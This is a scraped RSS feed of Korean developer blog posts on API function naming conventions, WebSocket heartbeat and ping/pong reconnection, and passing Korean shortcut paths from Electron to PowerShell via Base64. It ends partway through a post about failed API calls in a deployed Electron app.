<h3 id="✅-실무에서는-어떤-기준으로-쓰게-될까">✅ 실무에서는 어떤 기준으로 쓰게 될까?</h3>
<p>저는 아래 기준 중 하나라도 해당되면 <code>_</code>를 붙여 내부용 함수로 작성하는 편입니다:</p>
<ul>
<li>해당 함수는 <strong>axios 같은 순수 API 호출만 처리</strong>하고, 사용자 응답 처리나 로깅은 하지 않을 때</li>
<li><strong>로깅, 에러 메시지, 토스트 처리 등을 담당하는 래퍼 함수가 따로 있을 때</strong></li>
<li><strong>내부적으로만 재사용하고, 외부에는 노출되지 않아야 하는 유틸 로직일 때</strong></li>
<li>테스트나 mocking 대상일 뿐, UI 흐름에는 사용되지 않을 때</li>
</ul>
<p>반대로 아래 상황에서는 <code>_</code> 없이 함수명을 바로 export합니다:</p>
<ul>
<li>컴포넌트나 다른 모듈에서 <strong>직접 호출될 목적으로 만들어진 함수</strong></li>
<li>함수 자체가 간단해서 래핑이 필요 없는 경우 (ex. CRUD 단일 처리)</li>
<li><strong>별도 래퍼가 존재하지 않고, 그대로 공식 함수 역할을 할 때</strong></li>
</ul>
<hr>
<h4 id="팀-컨벤션으로-정리하면-이런-식입니다">팀 컨벤션으로 정리하면 이런 식입니다</h4>
<pre><code class="language-markdown">API 네이밍 컨벤션

- `_함수명`: 내부 전용 함수. API 요청만 수행. 예외 처리, 사용자 피드백 없음.
- `함수명`: 외부에서 사용하는 공식 함수. 로깅, 에러 핸들링, 응답 가공 포함.
- `use함수명`: React에서 사용하는 커스텀 훅. get 함수 호출을 감싸서 상태 관리.</code></pre>
<hr>
<h4 id="실제-디렉터리-구조에-적용해보면">실제 디렉터리 구조에 적용해보면</h4>
<pre><code class="language-bash">/src
  └── api
        └── user.ts           # _getUser, getUser
  └── hooks
        └── useUser.ts        # useUser</code></pre>
<ul>
<li><code>api</code> 폴더에는 <code>_</code> 접두사가 붙은 내부 API 함수와 래퍼 함수가 함께 정의되고,</li>
<li><code>hooks</code> 폴더에는 외부 API를 감싸는 <code>useXXX</code> 형태의 훅이 정의됩니다.</li>
</ul>
<hr>
<h4 id="테스트-유지보수-협업-모두에-도움이-됩니다">테스트, 유지보수, 협업 모두에 도움이 됩니다</h4>
<ul>
<li><code>_함수</code>는 mocking이나 테스트에서 훨씬 다루기 쉬워요.</li>
<li><code>export</code>된 래퍼 함수는 외부에서는 항상 일정한 방식으로 응답을 처리하게 만들어 줍니다.</li>
<li>또한 역할이 명확하게 나뉘기 때문에, 협업 중에도 함수가 어떤 용도로 쓰이는지 쉽게 파악할 수 있습니다.</li>
</ul>
<pre><code class="language-tsx">//내부 API 함수만 mocking해서 래퍼 함수는 실제 흐름대로 테스트할 수 있습니다.
jest.mock(&#39;@/api/user&#39;, () =&gt; ({
  _getUser: jest.fn().mockResolvedValue(mockData)
}));</code></pre>
<h4 id="📦-래퍼-함수란">📦 래퍼 함수란?</h4>
<blockquote>
<p>다른 함수(또는 로직)를 감싸서, 추가 동작을 함께 수행하는 함수를 말합니다.</p>
<p>즉, &quot;기존 기능을 그대로 호출하되, 그 앞뒤로 무언가 더 하는 함수&quot;예요.</p>
<p>포장지(wrap)처럼 감싼다고 해서 &quot;래퍼(wrapper)&quot;라는 이름이 붙었어요.</p>
</blockquote>
<ul>
<li>래퍼 함수의 역할 요약</li>
</ul>
<table>
<thead>
<tr>
<th>역할</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>로깅 추가</td>
<td>요청 전후 로그를 출력</td>
</tr>
<tr>
<td>에러 핸들링</td>
<td>try/catch 또는 toast 처리</td>
</tr>
<tr>
<td>응답 가공</td>
<td><code>res.data.result</code> 등 필요한 데이터만 추출</td>
</tr>
<tr>
<td>보안 처리, 권한 검사 등 추가로직</td>
<td>필요시 삽입 가능</td>
</tr>
<tr>
<td>- 실무에서 래퍼 함수가 필요한 이유</td>
<td></td>
</tr>
<tr>
<td>- <strong>순수 API 함수는 재사용성이 높고 테스트가 쉬움</strong> → <code>_함수</code></td>
<td></td>
</tr>
<tr>
<td>- <strong>래퍼 함수는 사용자 경험, 로깅, 예외처리를 담당</strong> → 실제 호출은 여기서만 하도록 설계</td>
<td></td>
</tr>
</tbody></table>
<pre><code>&gt; 이렇게 나누면 **책임이 분리되고 코드가 더 읽기 쉬워지고**, 
실수로 순수 함수만 호출해서 문제가 생기는 걸 막을 수 있습니다.
&gt; </code></pre><ul>
<li><p>간단한 정의로 정리</p>
<blockquote>
<p>래퍼 함수는 어떤 함수나 로직을 감싸서, 부가적인 동작을 함께 수행하는 함수입니다.</p>
<p>API 요청뿐 아니라, 로깅, 오류 처리, 응답 정리 등을 포함할 때 주로 사용됩니다.</p>
</blockquote>
</li>
</ul>
<hr>
<h4 id="_를-안-쓰면-생기는-문제도-있어요"><code>_</code>를 안 쓰면 생기는 문제도 있어요</h4>
<ul>
<li>함수의 역할이 모호해져서, 테스트나 구조 분해가 어렵습니다.</li>
<li>실수로 내부 함수 (<code>_getUser</code>)를 외부에서 import해서 써버릴 수도 있어요.</li>
<li>에러 처리나 로깅 없이 API가 호출되면, 사용자 입장에선 아무 반응이 없어서 불편할 수 있어요.</li>
</ul>
<p>이런 이유로 대부분의 실무 코드에서는 <code>_</code>를 통해 책임을 분리하고,</p>
<p>함수의 성격에 맞게 구분하는 방식을 선택하고 있습니다.</p>
<hr>
<h3 id="📌-마무리-단순한-스타일이-아닌-설계의-결과">📌 마무리: 단순한 스타일이 아닌 설계의 결과</h3>
<p>함수명 앞에 <code>_</code>를 붙이는 건 단지 네이밍 스타일이 아닙니다.</p>
<p><strong>코드의 책임과 사용 범위를 명확히 하기 위한 실용적인 컨벤션</strong>입니다.</p>
<ul>
<li>실수로 잘못된 함수를 import하지 않도록 도와주고</li>
<li>테스트와 디버깅을 쉽게 만들어주며</li>
<li>코드 구조에 일관성을 부여합니다</li>
</ul>
<p>특히 <strong>복잡한 API 처리, 민감한 보안 기능, 사용자 피드백이 필요한 영역</strong>에서는</p>
<p>순수 API 호출과 부가 로직을 분리하는 구조가 큰 도움이 됩니다.</p>
<p>이런 구조는 협업에서도 이해하기 쉽고, 유지보수 시에 의도를 파악하기 쉬워서 장기적으로 효율적인 패턴이 됩니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹소켓(WebSocket) 재연결 전략과 절전모드 감지: 하트비트 vs 핑퐁]]></title>
            <link>https://velog.io/@songyeonji_/%EC%9B%B9%EC%86%8C%EC%BC%93WebSocket-%EC%9E%AC%EC%97%B0%EA%B2%B0-%EC%A0%84%EB%9E%B5%EA%B3%BC-%EC%A0%88%EC%A0%84%EB%AA%A8%EB%93%9C-%EA%B0%90%EC%A7%80-%ED%95%98%ED%8A%B8%EB%B9%84%ED%8A%B8-vs-%ED%95%91%ED%90%81</link>
            <guid>https://velog.io/@songyeonji_/%EC%9B%B9%EC%86%8C%EC%BC%93WebSocket-%EC%9E%AC%EC%97%B0%EA%B2%B0-%EC%A0%84%EB%9E%B5%EA%B3%BC-%EC%A0%88%EC%A0%84%EB%AA%A8%EB%93%9C-%EA%B0%90%EC%A7%80-%ED%95%98%ED%8A%B8%EB%B9%84%ED%8A%B8-vs-%ED%95%91%ED%90%81</guid>
            <pubDate>Thu, 26 Jun 2025 04:23:18 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/27ac93f1-88c5-4931-9602-a8aeadbd4f68/image.png" alt=""></p>
<p>웹소켓 기반 애플리케이션을 운영하다 보면 가장 많이 마주치는 이슈가 바로</p>
<p>👉 <strong>&quot;연결이 끊겼는데도 UI는 멀쩡해 보이는 문제&quot;</strong>입니다.</p>
<p>특히 <strong>절전모드(슬립)</strong>나 <strong>노트북 덮기</strong>, <strong>탭 전환 후 장시간 방치</strong> 같은 상황에서는</p>
<p>브라우저가 웹소켓을 끊었음에도 <code>readyState === OPEN</code> 으로 남아있는 경우도 있습니다.</p>
<p>이 글에서는 다음 내용을 다룹니다:</p>
<hr>
<h3 id="1-❌-왜-웹소켓이-끊겼는지-모르고-방치될까">1. ❌ 왜 웹소켓이 끊겼는지 모르고 방치될까?</h3>
<p>WebSocket은 브라우저/OS/네트워크 상태에 따라 &quot;조용히 끊길 수 있습니다&quot;.</p>
<ul>
<li>절전모드 → 브라우저 프로세스 일시 정지됨</li>
<li>네트워크 재연결 → underlying TCP 소켓 끊김</li>
<li>VPN 변경/라우팅 오류 → 서버 도달 실패</li>
<li>방화벽/프록시 → 일정시간 이후 소켓 정리</li>
</ul>
<p>📌 문제는 <code>webSocket.readyState</code>가 <strong>항상 믿을 수 있는 값은 아니라는 것</strong>입니다.</p>
<hr>
<h3 id="2-🌙-절전모드-감지-하트비트-방식">2. 🌙 절전모드 감지: 하트비트 방식</h3>
<p>가장 많이 쓰는 방식 중 하나는 바로 <strong>하트비트(heartbeat)</strong>.</p>
<pre><code class="language-tsx">
setInterval(() =&gt; {
  const now = Date.now();
  const drift = now - lastTick;
  if (drift &gt; 10000) {
    console.warn(&#39;절전모드 감지, 웹소켓 재연결 시도&#39;);
    reconnect();
  }
  lastTick = now;
}, 5000);</code></pre>
<ul>
<li><code>performance.timing.navigationStart</code> 또는 <code>Date.now()</code>를 주기적으로 측정</li>
<li>예상보다 오래 걸리면 → 절전모드에서 깨어났다고 판단</li>
<li>→ 이 시점에 <code>WebSocket.readyState !== OPEN</code>이거나 이상하면 재연결</li>
</ul>
<h4 id="✨하트비트heartbeat란"><strong>✨</strong>하트비트(heartbeat)란?</h4>
<p>하트비트는 <strong>&quot;앱 레벨에서 주기적으로 연결 상태를 감지하는 로직&quot;</strong>입니다.</p>
<ul>
<li><code>setInterval</code>로 5초마다 체크</li>
<li>연결 상태를 확인하거나, <code>ping</code> 요청을 날려 응답 확인</li>
<li>절전모드 감지, 이벤트 루프 delay 감지, 앱의 주기적 상태확인 등에 쓰임</li>
</ul>
<hr>
<h3 id="3-🛰️-websocket-pingpong-프레임">3. 🛰️ WebSocket Ping/Pong 프레임</h3>
<p>WebSocket은 RFC 6455 표준에 따라</p>
<p><strong>프로토콜 레벨에서 ping/pong 프레임</strong>을 지원합니다.</p>
<h4 id="pingpong-특징">Ping/Pong 특징</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>Ping 전송 주체</td>
<td>서버 또는 클라이언트</td>
</tr>
<tr>
<td>Pong 응답</td>
<td>상대방이 자동 응답하거나 앱에서 응답</td>
</tr>
<tr>
<td>장점</td>
<td>TCP 단에서 직접 응답 → 실제 연결 생존 여부 확인 가능</td>
</tr>
<tr>
<td>단점</td>
<td>브라우저에서 <code>WebSocket.ping()</code> 직접 호출은 불가 (Node.js는 가능)</td>
</tr>
</tbody></table>
<blockquote>
<p>⚠️ 일반 브라우저 JS에서는 ping 프레임을 직접 보낼 수 없습니다.<br>→ 서버가 ping, 클라이언트가 pong 응답</p>
</blockquote>
<hr>
<h3 id="4-🏭-실무에서는-어떻게">4. 🏭 실무에서는 어떻게?</h3>
<h4 id="---onclose만-쓰면-안-되는-이유">-  onclose만 쓰면 안 되는 이유</h4>
<p>웹소켓을 감시할 때, 많은 분들이 처음엔 이렇게 처리합니다:</p>
<pre><code class="language-tsx">const ws = new WebSocket(&#39;wss://...&#39;);
ws.onclose = () =&gt; {
  console.warn(&#39;웹소켓 닫힘 → 재연결 시도&#39;);
  reconnect();
};</code></pre>
<p>하지만 실무에서는 매우 불안정합니다:</p>
<h4 id="---문제점들">-  문제점들</h4>
<ul>
<li>절전모드에서 <strong>onclose 발동되지 않음</strong></li>
<li>라우팅 장애, VPN 전환 등에서도 <strong>readyState는 OPEN 상태 유지</strong></li>
<li>서버가 죽어도 <strong>클라이언트는 알 수 없음</strong></li>
</ul>
<h4 id="---참고-onclose란">-  참고: onclose란?</h4>
<ul>
<li>WebSocket 연결이 <strong>정상적으로 종료되었을 때</strong> 실행되는 콜백 함수입니다.</li>
<li>예를 들어 <code>ws.close()</code>를 호출했을 때나 서버가 명시적으로 연결을 닫을 때 발생합니다.</li>
<li>하지만 네트워크 끊김, 절전모드 등은 <strong>비정상 종료</strong>이기 때문에 onclose가 호출되지 않을 수 있습니다.</li>
</ul>
<h4 id="✅-그래서-실무에서는-이렇게-대응합니다">✅ 그래서 실무에서는 이렇게 대응합니다</h4>
<table>
<thead>
<tr>
<th>감지 방법</th>
<th>역할</th>
<th>왜 필요한가</th>
</tr>
</thead>
<tbody><tr>
<td><code>onclose</code></td>
<td><strong>명시적 연결 종료 감지</strong></td>
<td>유저가 logout하거나 서버가 정상적으로 연결을 종료했을 때</td>
</tr>
<tr>
<td><strong>heartbeat</strong></td>
<td><strong>절전모드 / 지연 / 렌더러 이슈 감지</strong></td>
<td>타이머 기반 감지, OS의 방해를 받지 않음</td>
</tr>
<tr>
<td><strong>ping/pong</strong></td>
<td><strong>실제 TCP 연결 생존 확인</strong></td>
<td>서버 ↔ 클라이언트 네트워크 상태 감시</td>
</tr>
</tbody></table>
<hr>
<h3 id="💡-결론-onclose는-일부-상황에서만-유효">💡 결론: <code>onclose</code>는 일부 상황에서만 유효</h3>
<ul>
<li><code>onclose</code>는 <strong>정상 종료에만 잘 작동</strong>합니다</li>
<li>절전모드, 네트워크 오류, VPN, 방화벽 등 실무에서 자주 발생하는 이슈에는 <strong>아예 작동 안 하는 경우도 많습니다</strong></li>
<li>그래서 반드시 heartbeat 또는 ping/pong을 <strong>보완적으로 사용</strong>해야 합니다</li>
</ul>
<p>실무에서는 <strong>&quot;둘 다&quot; 병행</strong>합니다.</p>
<table>
<thead>
<tr>
<th>목적</th>
<th>방식</th>
<th>비고</th>
</tr>
</thead>
<tbody><tr>
<td>실제 네트워크 생존 여부 확인</td>
<td>ping/pong</td>
<td>서버 중심</td>
</tr>
<tr>
<td>앱 자체의 이상 상황 감지</td>
<td>heartbeat</td>
<td>프론트 중심</td>
</tr>
<tr>
<td>브라우저 환경 대응</td>
<td>heartbeat</td>
<td>절전모드, 탭 전환 감지</td>
</tr>
<tr>
<td>방화벽/프록시 대응</td>
<td>ping/pong</td>
<td>keep-alive 용도</td>
</tr>
</tbody></table>
<p>💡 실무에서는 서버가 <code>ping</code>, 클라이언트가 <code>pong</code> 응답하고</p>
<p>프론트는 30초마다 <code>setInterval</code>로 <code>readyState</code>를 감시하는 구조가 일반적입니다.</p>
<hr>
<h3 id="5-electron--react--vite-환경에서의-적용-예시">5. Electron + React + Vite 환경에서의 적용 예시</h3>
<p>Electron 앱의 렌더러 프로세스에서는 다음처럼 heartbeat를 구현할 수 있습니다.</p>
<pre><code class="language-tsx">
// heartbeat.ts
let lastCheck = Date.now();

setInterval(() =&gt; {
  const now = Date.now();
  const delay = now - lastCheck;

  if (delay &gt; 10000) {
    console.warn(&#39;[하트비트] 절전모드 감지 → 재연결 시도&#39;);
    webSocketManager.manualReconnect(); // 커스텀 재연결 로직
  }

  lastCheck = now;
}, 5000);
</code></pre>
<p>또는 WebSocket wrapper 클래스 내에서 다음과 같이 상태를 주기적으로 체크할 수 있습니다:</p>
<pre><code class="language-tsx">
const ws = new WebSocket(&#39;wss://...&#39;);
setInterval(() =&gt; {
  if (ws.readyState !== WebSocket.OPEN) {
    console.warn(&#39;연결 끊김 → reconnect&#39;);
    reconnect();
  }
}, 10000);
</code></pre>
<hr>
<h3 id="📌-실전-팁-요약">📌 실전 팁 요약</h3>
<ul>
<li><p><code>WebSocket.readyState</code>는 믿되 너무 믿지 말자</p>
<ul>
<li><p><code>readyState</code>별 의미 요약 표</p>
<pre><code class="language-markdown">
  | 상태 코드 | 이름        | 의미                       |
  |-----------|-------------|----------------------------|
  | 0         | CONNECTING  | 연결 중                    |
  | 1         | OPEN        | 연결 완료, 송수신 가능     |
  | 2         | CLOSING     | 연결 종료 중               |
  | 3         | CLOSED      | 연결 종료됨                |</code></pre>
</li>
</ul>
</li>
<li><p>절전모드, 탭 전환 등은 하트비트로 감지</p>
</li>
<li><p>서버는 ping/pong 설정을 적극 활용하자</p>
</li>
<li><p>Electron 환경에서도 렌더러에 heartbeat는 유용하게 작동</p>
</li>
</ul>
<hr>
<h4 id="📚-참고자료">📚 참고자료</h4>
<ul>
<li>RFC 6455 - The WebSocket Protocol</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket">MDN - WebSocket</a></li>
<li>Socket.IO Heartbeat 참고</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[⚠️ 바로가기 `.lnk` 한글 경로 때문에 6번 디버깅한 썰 (feat. Base64)]]></title>
            <link>https://velog.io/@songyeonji_/%EB%B0%94%EB%A1%9C%EA%B0%80%EA%B8%B0-.lnk-%ED%95%9C%EA%B8%80-%EA%B2%BD%EB%A1%9C-%EB%95%8C%EB%AC%B8%EC%97%90-6%EB%B2%88-%EB%94%94%EB%B2%84%EA%B9%85%ED%95%9C-%EC%8D%B0-feat.-Base64</link>
            <guid>https://velog.io/@songyeonji_/%EB%B0%94%EB%A1%9C%EA%B0%80%EA%B8%B0-.lnk-%ED%95%9C%EA%B8%80-%EA%B2%BD%EB%A1%9C-%EB%95%8C%EB%AC%B8%EC%97%90-6%EB%B2%88-%EB%94%94%EB%B2%84%EA%B9%85%ED%95%9C-%EC%8D%B0-feat.-Base64</guid>
            <pubDate>Wed, 11 Jun 2025 00:08:14 GMT</pubDate>
            <description><![CDATA[<h2 id="🧠-시작은-단순했다-바로가기l-lnk도-처리해야겠네">🧠 시작은 단순했다: “바로가기(l .lnk)도 처리해야겠네?”<img src="https://velog.velcdn.com/images/songyeonji_/post/d65e1bc5-eadd-416a-9a4e-68687d987a71/image.png" alt=""></h2>
<p>보안 기능을 만들면서 실행 파일 감지를 하는데,</p>
<p>생각보다 이런 경로가 많이 튀어나왔다:</p>
<pre><code>
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\한셀 2024.lnk</code></pre><blockquote>
<p>“어? EXE가 아니고 LNK네?”</p>
</blockquote>
<p>맞다. 대부분의 사용자는 프로그램을 직접 실행하는 게 아니라 <strong>시작메뉴 / 바탕화면 바로가기</strong>를 클릭한다.</p>
<p>결국 <code>.lnk</code> 파일을 열어서 실제 실행 대상(EXE 경로)을 뽑아야 한다는 결론에 도달했다.</p>
<hr>
<h2 id="🔎-lnk-구조-분석--powershell-구현">🔎 LNK 구조 분석 &amp; PowerShell 구현</h2>
<p>Windows <code>.lnk</code> 파일은 단순 텍스트가 아니다.</p>
<p><strong>WScript.Shell COM 객체를 통해 접근해야</strong> 한다.</p>
<p>PowerShell 스크립트는 간단했다:</p>
<pre><code class="language-powershell">powershell
복사편집
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut(&quot;C:\경로\한셀 2024.lnk&quot;)
$shortcut.TargetPath
</code></pre>
<p>이걸 Electron에서 Node.js <code>child_process.spawn()</code>으로 실행하면 끝이다.</p>
<p><strong>그럴 줄 알았다.</strong></p>
<hr>
<h2 id="💣-문제-powershell에선-되는데-electron에선-안-된다">💣 문제: “PowerShell에선 되는데 Electron에선 안 된다”</h2>
<p>PowerShell 콘솔에선 잘 되는데,</p>
<p>Electron에서 실행하면 결과가 무조건 <code>&#39;&#39;</code> (빈 문자열).</p>
<pre><code>ts
복사편집
// Electron
const result = await execPowerShell(&#39;한셀 2024.lnk&#39;);
console.log(result); // &#39;&#39;
</code></pre><h3 id="내가-시도했던-디버깅-16단계">내가 시도했던 디버깅 1~6단계</h3>
<table>
<thead>
<tr>
<th>순번</th>
<th>시도</th>
<th>결과</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>파일 경로 확인</td>
<td>존재함</td>
</tr>
<tr>
<td>2</td>
<td>경로 하드코딩해보기</td>
<td>여전히 빈 문자열</td>
</tr>
<tr>
<td>3</td>
<td>UTF-8로 파일 저장</td>
<td>안 됨</td>
</tr>
<tr>
<td>4</td>
<td><code>-Encoding UTF8</code> 옵션 추가</td>
<td>무효</td>
</tr>
<tr>
<td>5</td>
<td>PowerShell 내부에 echo 찍기</td>
<td>출력됨 → 경로만 깨짐</td>
</tr>
<tr>
<td>6</td>
<td><code>console.log(filePath)</code> 확인</td>
<td>한글 잘 찍힘 → 파워셸로 넘어가는 중 깨짐</td>
</tr>
</tbody></table>
<hr>
<h2 id="🧬-원인-분석">🧬 원인 분석</h2>
<p>Electron → PowerShell 호출 시, 인자로 전달되는 경로가 <strong>한글이면 깨진다.</strong></p>
<p>왜냐면:</p>
<ul>
<li><p>Electron(Node.js)은 기본적으로 <code>UTF-8</code></p>
</li>
<li><p>PowerShell은 <strong>윈도우 로케일 영향으로 CP949를 쓸 수도 있음</strong></p>
</li>
<li><p>그래서 <strong>CLI 인자 전달 시 한글이 깨짐</strong></p>
<p>  (<code>CreateShortcut(&#39;��� 2024.lnk&#39;)</code> ← 이렇게 변형됨)</p>
</li>
</ul>
<hr>
<h2 id="🤦-utf-8로-저장하면-되겠지는-착각이었다">🤦 “UTF-8로 저장하면 되겠지”는 착각이었다</h2>
<p>처음엔 이렇게 생각했다:</p>
<blockquote>
<p>“스크립트 파일 자체를 UTF-8 BOM으로 저장하면 되겠지?”</p>
</blockquote>
<p>❌ 결과: 안 됨</p>
<p>왜냐하면 <strong>깨지는 시점이 스크립트 실행이 아니라, 경로 인자 전달 시점</strong>이기 때문이다.</p>
<hr>
<h2 id="🧠-base64라는-진짜-해결책">🧠 Base64라는 진짜 해결책</h2>
<p>결국 알게 됐다:</p>
<blockquote>
<p>Electron → PowerShell 전달 경로를 Base64로 인코딩해서 넘기면 된다.</p>
</blockquote>
<p>Base64는 ASCII 문자만으로 구성되어</p>
<p><strong>OS, 로케일, 인코딩 충돌 없이 항상 안전하게 전송</strong>된다.</p>
<h3 id="👇-그래서-이렇게-바꿨다">👇 그래서 이렇게 바꿨다:</h3>
<h3 id="🔁-electron">🔁 Electron:</h3>
<pre><code class="language-tsx">
const encoded = Buffer.from(filePath, &#39;utf8&#39;).toString(&#39;base64&#39;);
spawn(&#39;powershell.exe&#39;, [&#39;-File&#39;, &#39;script.ps1&#39;, encoded]</code></pre>
<h3 id="🔁-powershell">🔁 PowerShell:</h3>
<pre><code class="language-powershell">
param($encoded)
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded))
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($decoded)
$shortcut.TargetPath</code></pre>
<p><strong>Boom! 이제 한글 경로도 완벽하게 처리된다.</strong></p>
<hr>
<h2 id="🧪-왜-base64만이-해결책인가">🧪 왜 Base64만이 해결책인가?</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>UTF-8</th>
<th>Base64</th>
</tr>
</thead>
<tbody><tr>
<td>한글 포함 문자열 처리</td>
<td>깨질 수 있음</td>
<td>절대 안 깨짐</td>
</tr>
<tr>
<td>CLI 인자 안전성</td>
<td>❌ OS에 따라 다름</td>
<td>✅ 항상 안전</td>
</tr>
<tr>
<td>PowerShell 환경 일관성</td>
<td>❌ 인코딩 로케일 영향 받음</td>
<td>✅ ASCII 문자만 사용</td>
</tr>
<tr>
<td>사용 목적</td>
<td>저장, 출력용</td>
<td>데이터 전송, 인자 전달용</td>
</tr>
</tbody></table>
<h3 id="핵심">핵심:</h3>
<blockquote>
<p>UTF-8은 문자열 인코딩이고, Base64는 전송 인코딩이다.</p>
<p>CLI 인자, 파일 경로, JSON 내 인자처럼 전송이 필요한 곳엔 Base64가 정답이다.</p>
</blockquote>
<hr>
<h2 id="✅-최종-구현-흐름">✅ 최종 구현 흐름</h2>
<ol>
<li>LNK 경로 Base64 인코딩</li>
<li>PowerShell에 전달</li>
<li>Base64 디코딩 후 <code>CreateShortcut</code>으로 대상 추출</li>
<li>대상 EXE가 존재하면 해당 경로의 파일 메타데이터도 추출</li>
</ol>
<p>이제 아래처럼 JSON으로 묶어서 반환된다:</p>
<pre><code class="language-json">
{
  &quot;lnk&quot;: {
    &quot;filePath&quot;: &quot;C:\\...\\한셀 2024.lnk&quot;,
    &quot;targetPath&quot;: &quot;C:\\Program Files\\HCell.exe&quot;,
    &quot;description&quot;: &quot;한글 스프레드시트&quot;
  },
  &quot;exe&quot;: {
    &quot;progNm&quot;: &quot;한셀 2024&quot;,
    &quot;prdNm&quot;: &quot;HCell&quot;,
    &quot;signValid&quot;: true}
}
</code></pre>
<hr>
<h2 id="🧠-마무리-회고">🧠 마무리 회고</h2>
<p>처음엔 단순히 “바로가기도 처리해야겠다”는 생각이었는데,</p>
<p>그 끝엔 인코딩 지옥, CLI 디버깅, PowerShell 삽질이 기다리고 있었다.</p>
<p>그나마 다행인 건,</p>
<p><strong>이제는 한글 포함된 모든 바로가기를 완벽하게 처리</strong>할 수 있게 됐다는 점이다.</p>
<h3 id="💡-개발자를-위한-tip-clicommand-line-interface란">💡 개발자를 위한 TIP: CLI(Command-Line Interface)란?</h3>
<p><strong>CLI란?</strong></p>
<p>Command-Line Interface의 줄임말로,</p>
<p>GUI(그래픽 사용자 인터페이스) 없이 명령어를 텍스트로 입력해서 컴퓨터를 조작하는 방식이다.</p>
<ul>
<li>대표 예시:<ul>
<li>Windows의 <code>cmd.exe</code>, <code>powershell.exe</code></li>
<li>macOS, Linux의 <code>bash</code>, <code>zsh</code>, <code>terminal</code></li>
</ul>
</li>
</ul>
<pre><code class="language-bash">
# 예시: 파일 경로를 인자로 받아 처리하는 명령
powershell.exe -File myscript.ps1 &quot;C:\Users\연지\문서\바로가기.lnk&quot;</code></pre>
<p><strong>왜 CLI에서 문제가 발생했을까?</strong></p>
<ul>
<li>CLI는 텍스트 기반이라 <code>&#39;한글&#39; → byte → 다시 문자열</code>로 변환되는 과정에서 <strong>인코딩 오류</strong>가 생기기 쉬움</li>
<li>특히 <strong>PowerShell은 시스템 로케일(예: CP949)</strong>을 따라가는 반면, Electron(Node.js)은 <strong>UTF-8을 기본</strong>으로 사용함</li>
<li>이 차이로 인해 <strong>CLI 인자로 한글을 넘길 때 깨지는 현상</strong>이 발생했다</li>
</ul>
<p>👉 그래서 해결책은?</p>
<blockquote>
<p>Base64 인코딩으로 경로를 감싼 다음 넘기면, CLI 내부에서 무조건 안전하게 처리 가능</p>
</blockquote>
<p>CLI에서는 데이터를 다룰 때 <strong>문자 그대로 전달되는 게 아니라 바이트 수준의 처리</strong>가 되기 때문에,</p>
<p><strong>ASCII만 사용하는 Base64가 매우 안정적인 해결책</strong>이 된다.</p>
<h3 id="👇-개발자-여러분-이건-꼭-기억하세요">👇 개발자 여러분, 이건 꼭 기억하세요:</h3>
<blockquote>
<p>PowerShell에서 잘 된다고 Electron에서도 잘 되리라는 법은 없다.</p>
<p><strong>CLI 인자엔 무조건 Base64를 써라.</strong></p>
<p>아니면 3시간 날릴 수 있다 😇</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Electron 배포 후 API가 안 터질 때, 멘탈 터진 이야기]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-%ED%9B%84-API%EA%B0%80-%EC%95%88-%ED%84%B0%EC%A7%88-%EB%95%8C-%EB%A9%98%ED%83%88-%ED%84%B0%EC%A7%84-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-%ED%9B%84-API%EA%B0%80-%EC%95%88-%ED%84%B0%EC%A7%88-%EB%95%8C-%EB%A9%98%ED%83%88-%ED%84%B0%EC%A7%84-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Mon, 09 Jun 2025 01:57:03 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/442b8b08-06be-46ff-8efd-ca19611f5b84/image.png" alt=""></p>
<p><strong>&quot;개발 모드에선 100% 완벽하게 작동했는데요?&quot;</strong></p>
<p>그 말, 배포 환경 앞에선 무력하다는 걸 여러분도 아시죠?</p>
<p>이번엔 정말 ‘작동’은 했지만 <strong>데이터는 안 왔던</strong> 미스터리.</p>
<p>그래서 무려 반나절 동안 머리 싸매고 추적한 로그 로그 로그…</p>
<p>결론부터 말하자면?</p>
<blockquote>
<p>엔드포인트 오타 + 개발 모드의 과잉 친절 + 배포의 차가움 = 디버깅 지옥</p>
</blockquote>
<p>이 긴 여정, 벨로그에 소환합니다.</p>
<h3 id="🛠️-세팅-요약">🛠️ 세팅 요약</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>프론트</td>
<td>React + Vite</td>
</tr>
<tr>
<td>백엔드</td>
<td>HTTPS REST API</td>
</tr>
<tr>
<td>데스크탑 앱</td>
<td>Electron + electron-builder</td>
</tr>
<tr>
<td>API 통신 방식</td>
<td>axios + Vite define 치환 + .env</td>
</tr>
<tr>
<td>개발/배포 분기</td>
<td><code>__API_BASE__</code> → env에서 치환</td>
</tr>
</tbody></table>
<h3 id="🧨-1-사건-개요">🧨 1. 사건 개요</h3>
<p>Electron + React + Vite 조합으로 멋지게 GUI 앱을 개발하던 어느 날…</p>
<p><strong>“개발에선 잘 되던 API 호출이 배포 후엔 아무 반응이 없었다.”</strong></p>
<p>기분 좋게 <code>electron-builder</code>로 <code>.exe</code>를 빌드하고 실행했더니,</p>
<p><strong>API는 침묵. 화면은 정지. 내 심장도 멈췄다.</strong></p>
<hr>
<h3 id="🔍-2-이상했던-점">🔍 2. 이상했던 점</h3>
<ul>
<li>엔진은 잘 실행됨 ✅</li>
<li>Pipe 메시지 정상적으로 주고받음 ✅</li>
<li>근데 <strong>Axios API 요청만 안 감</strong> ❌</li>
<li>심지어 콘솔 로그도 안 찍힘 ❌</li>
</ul>
<blockquote>
<p>이쯤 되면 “Electron 배포하면 CORS 문제 생기나?”,</p>
